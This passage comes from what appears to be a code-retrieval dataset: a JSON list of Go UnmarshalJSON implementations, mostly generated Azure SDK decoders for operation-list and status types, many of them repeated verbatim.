json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *Action) UnmarshalJSON(b []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif s == \\\"\\\" {\\n\\t\\t*a = Action(\\\"apply\\\")\\n\\t} else {\\n\\t\\t*a = Action(s)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *HTTPGetAction) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *Operator) UnmarshalJSON(data []byte) error {\\n\\tu := jsonpb.Unmarshaler{}\\n\\tbuf := bytes.NewBuffer(data)\\n\\n\\treturn u.Unmarshal(buf, &*o)\\n}\",\n \"func (action *Action) UnmarshalJSON(data []byte) error {\\n\\tvar s string\\n\\n\\tif err := json.Unmarshal(data, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ta := Action(s)\\n\\tif !a.IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"invalid action '%v'\\\", s)\\n\\t}\\n\\n\\t*action = a\\n\\n\\treturn nil\\n}\",\n \"func (o *OperationResultsDescription) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &o.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"startTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"StartTime\\\", &o.StartTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &o.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"operation\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operation\\\", &o.Operation)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provider\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Provider\\\", &o.Provider)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"resource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Resource\\\", &o.Resource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *EqOp) UnmarshalJSON(raw []byte) error {\\n\\tvar data struct {\\n\\t\\tArgs json.RawMessage `json:\\\"args\\\"`\\n\\t}\\n\\tbuf := bytes.NewBuffer(raw)\\n\\tdec := json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar base struct {\\n\\t\\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\\n\\n\\t\\tType string `json:\\\"type\\\"`\\n\\t}\\n\\tbuf = bytes.NewBuffer(raw)\\n\\tdec = json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&base); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tallOfArgs, err := UnmarshalQuerySlice(bytes.NewBuffer(data.Args), runtime.JSONConsumer())\\n\\tif err != nil && err != io.EOF {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar result EqOp\\n\\n\\tif base.Type != result.Type() {\\n\\t\\t/* Not the type we're looking for. */\\n\\t\\treturn errors.New(422, \\\"invalid type value: %q\\\", base.Type)\\n\\t}\\n\\n\\tresult.argsField = allOfArgs\\n\\n\\t*m = result\\n\\n\\treturn nil\\n}\",\n \"func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AsyncOperationResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Error\\\", &a.Error)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &a.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &a.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *Action) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"parameters\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Parameters\\\", &a.Parameters)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &a.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationCollection) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (op *OpRetain) UnmarshalJSON(raw []byte) error {\\n\\treturn json.Unmarshal(raw, &op.Fields)\\n}\",\n \"func (j *JSON) Unmarshal(input, target interface{}) error {\\n\\t// take the input and convert it to target\\n\\treturn jsonEncoding.Unmarshal(input.([]byte), target)\\n}\",\n \"func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func parseOperations(operationsJSON []byte) (operations []*HTTPOperation, batchMode bool, payloadErr error) {\\n\\t// there are two possible options for receiving information from a post request\\n\\t// the first is that the user provides an object in the form of { query, variables, operationName }\\n\\t// the second option is a list of that object\\n\\n\\tsingleQuery := &HTTPOperation{}\\n\\t// if we were given a single object\\n\\tif err := json.Unmarshal(operationsJSON, &singleQuery); err == nil {\\n\\t\\t// add it to the list of operations\\n\\t\\toperations = append(operations, singleQuery)\\n\\t\\t// we weren't given an object\\n\\t} else {\\n\\t\\t// but we could have been given a list\\n\\t\\tbatch := []*HTTPOperation{}\\n\\n\\t\\tif err = json.Unmarshal(operationsJSON, &batch); err != nil {\\n\\t\\t\\tpayloadErr = fmt.Errorf(\\\"encountered error parsing operationsJSON: %w\\\", err)\\n\\t\\t} else {\\n\\t\\t\\toperations = batch\\n\\t\\t}\\n\\n\\t\\t// we're in batch mode\\n\\t\\tbatchMode = true\\n\\t}\\n\\n\\treturn operations, batchMode, payloadErr\\n}\",\n \"func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"endTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"EndTime\\\", &o.EndTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Error\\\", &o.Error)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &o.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operations\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operations\\\", &o.Operations)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"percentComplete\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"PercentComplete\\\", &o.PercentComplete)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"startTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"StartTime\\\", &o.StartTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &o.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"endTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"EndTime\\\", &o.EndTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Error\\\", &o.Error)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &o.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operations\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Operations\\\", &o.Operations)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"percentComplete\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"PercentComplete\\\", &o.PercentComplete)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"startTime\\\":\\n\\t\\t\\terr = unpopulateTimeRFC3339(val, \\\"StartTime\\\", &o.StartTime)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &o.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (obj *CartUpdate) UnmarshalJSON(data []byte) error {\\n\\ttype Alias CartUpdate\\n\\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor i := range obj.Actions {\\n\\t\\tvar err error\\n\\t\\tobj.Actions[i], err = mapDiscriminatorCartUpdateAction(obj.Actions[i])\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (v *BaseOpSubscription) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Error\\\", 